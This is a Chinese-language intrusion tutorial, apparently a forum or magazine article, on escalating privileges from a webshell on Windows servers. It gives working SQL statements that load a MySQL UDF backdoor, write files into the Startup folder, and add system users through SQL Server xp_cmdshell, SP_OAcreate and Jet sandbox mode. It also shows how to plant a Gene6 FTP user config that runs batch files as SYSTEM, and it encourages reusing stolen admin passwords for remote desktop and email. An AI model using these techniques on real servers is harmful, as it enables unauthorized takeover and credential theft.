最近拿了不少Webshell，闲下来翻了翻，发现很多服务器的设置存在安全隐患，整理整理思路，把一些提权过程拿出来跟大家分享一下。  
一、社工篇  
拿到Webshell之后，很多朋友都会习惯性地去翻一些常用目录，如：Program Files、Documents and Settings等等，我一般会先看站点目录，因为这里可能会有很多重要信息。  
如果能找到SQL Server中的SA用户或者MySQL中的root用户的密码，提权自然如鱼得水。不过，没有这些的话，尽量也要把管理后台的密码拿到，因为根据管理员设置密码的习惯，很有可能利用该密码你就能从远程桌面直接登录上去，这对于那些独立服务器尤其适用。如果你碰到的是论坛的话，数据库的利用价值就更大了，管理员的个人信息、邮箱、QQ等等都在这里。举个例子，我用管理员的论坛密码顺利地登录了他的个人邮箱（如图一所示），   
而邮箱的重要性不用多说吧。这些信息对于提权来说，是有很大帮助的。  
二、MySQL篇  
随着PHP的流行，许多服务器都装上了MySQL。总体而言，MySQL还是比较安全的，不过安全无绝对，如果MySQL在配置上有疏漏的话，服务器也会被它拉下水的。  
如图二所示，  
   
我在网站的其它目录里找到了MySQL中root用户的密码。有了它，提权就容易很多了。  
得到root用户的密码后，最常用的方法是上传一个dll后门，如udf.dll，然后执行数据库语句：create function cmdshell returns string soname 'udf.dll'，接下来就能以系统权限执行udf.dll里的后门函数了。网上已经有了现成的工具，如“Mysql BackDoor”，界面如图三所示。  
   
不过，这种流行的利用工具也有它的弊端，那就是容易被杀毒软件查杀，很可能你的dll文件刚被导出就被杀毒软件删掉了，当然你可以编写自己的dll文件，但是对于不会编程的朋友，还可以采用导出文件到启动项的办法。  
我们知道，启动文件夹里的文件是随系统启动而运行的，在Webshell中，默认情况下我们对此文件夹没有写入权限，但我们可以让MySQL帮助我们写入文件。  
首先将想要运行的文件上传，如我将一个添加用户的脚本，保存为newfile.asp并上传到C:\Recycler目录，然后连接好MySQL，依次执行以下语句（如图四所示）：  
   
Create table temp(vbs longblob);  
Insert into temp(vbs) values (load\_file('C:\\Recycler\\newfile.asp'));  
Select vbs from temp into dumpfile 'C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\new.vbs';  
Drop table temp;  
语句执行后，文件就被导出到启动项中了（如图五所示），  
   
这种方法对于二进制的木马文件也是适用的。  
你可能会说，这要等到服务器重启吗？要知道服务器难得重启一次，我们要等到什么时候？其实对于那些开了远程桌面的服务器，一旦管理员从远程登录，启动文件夹里的文件就会运行。  
三、SQL Server篇  
微软的SQL Server在提权过程中往往也会给我们很大帮助，尤其是当找到SA用户的密码时，系统权限就基本到手了（如图六所示）。  
   
得到SA权限后，我们用的最多的是“xp\_cmdshell”这个扩展存储直接执行命令，大多数Webshell都有连接数据库的功能，填好后就能直接执行了：  
exec master.dbo.xp\_cmdshell 'net user baikai baikai/add'  
对于“xp\_cmdshell”这个扩展存储，管理员也知道它的危险性，很多情况下，这个组件已经被删除，不过没有了它，我们也不是无计可施，利用“SP\_OAcreate”同样可以达到目的：  
DECLARE @shell INT EXEC SP\_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP\_OAMETHOD   
@shell,'run',null, 'C:\WINdows\system32\cmd.exe /c net user baikai baikai /add'  
另外在SA权限的时候还有一种方法可以执行命令，那就是沙盒模式，不过系统默认的注册表键值是不允许执行沙盒模式命令的，所以需要先用“xp\_regwrite”修改注册表开启：  
EXEC master.dbo.xp\_regwrite 'HKEY\_LOCAL\_MACHINE','SoftWare\Microsoft\Jet\4.0 \Engine','SandBoxMode','REG\_DWORD','0'  
然后就可以执行命令了：  
Select \* From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=C:\Windows\system32\ias\ias.mdb','select shell("net user baikai baikai /add")');  
四、Gene6 FTP篇  
Serv-U提权，对大家来说已经是轻车熟路了，但说到Gene6 FTP提权，不少人会感到陌生。Gene6 FTP也是一款提供FTP服务的程序，安全性要比Serv-U高得多，不过利用它同样可以叩开服务器的大门。  
众所周知，Serv-U的FTP用户信息以文本形式保存在配置文件中。这一点Gene6 FTP与之相似，只不过它不能在用户登录后直接执行命令，但是我们可以让FTP用户运行一个我们事先上传的可执行程序或者批处理，这样就达到了与执行命令一样的效果。具体做法如下：  
  
**[1] [2] 下一页**  
首先我在本地安装好Gene6 FTP，然后新建一个用户niuniu，在用户设置选项里点击“SITE命令”，弹出窗口如图七所示，  
   
将执行文件C:\Recycler\temp.bat的命令命名为TEMP，点击确定后，就可以在Gene6 FTP安装目录里找到该用户的配置文件niuniu.ini，将此文件上传到服务器Gene6 FTP安装目录相应的文件夹（如图八）。  
   
接下来把想要执行的批处理保存为temp.bat并上传到C:\Recycler目录。最后用我们创建的用户登录FTP空间，并执行命令：QUOTE SITE TEMP，这时就会以系统权限运行这个批处理文件，这样拿下服务器很简单吧？  
提权思路多种多样，这需要大家在入侵过程中不断总结。当然，攻防也是统一的，如果你对各种提权方式了如指掌，你的服务器定能固若金汤。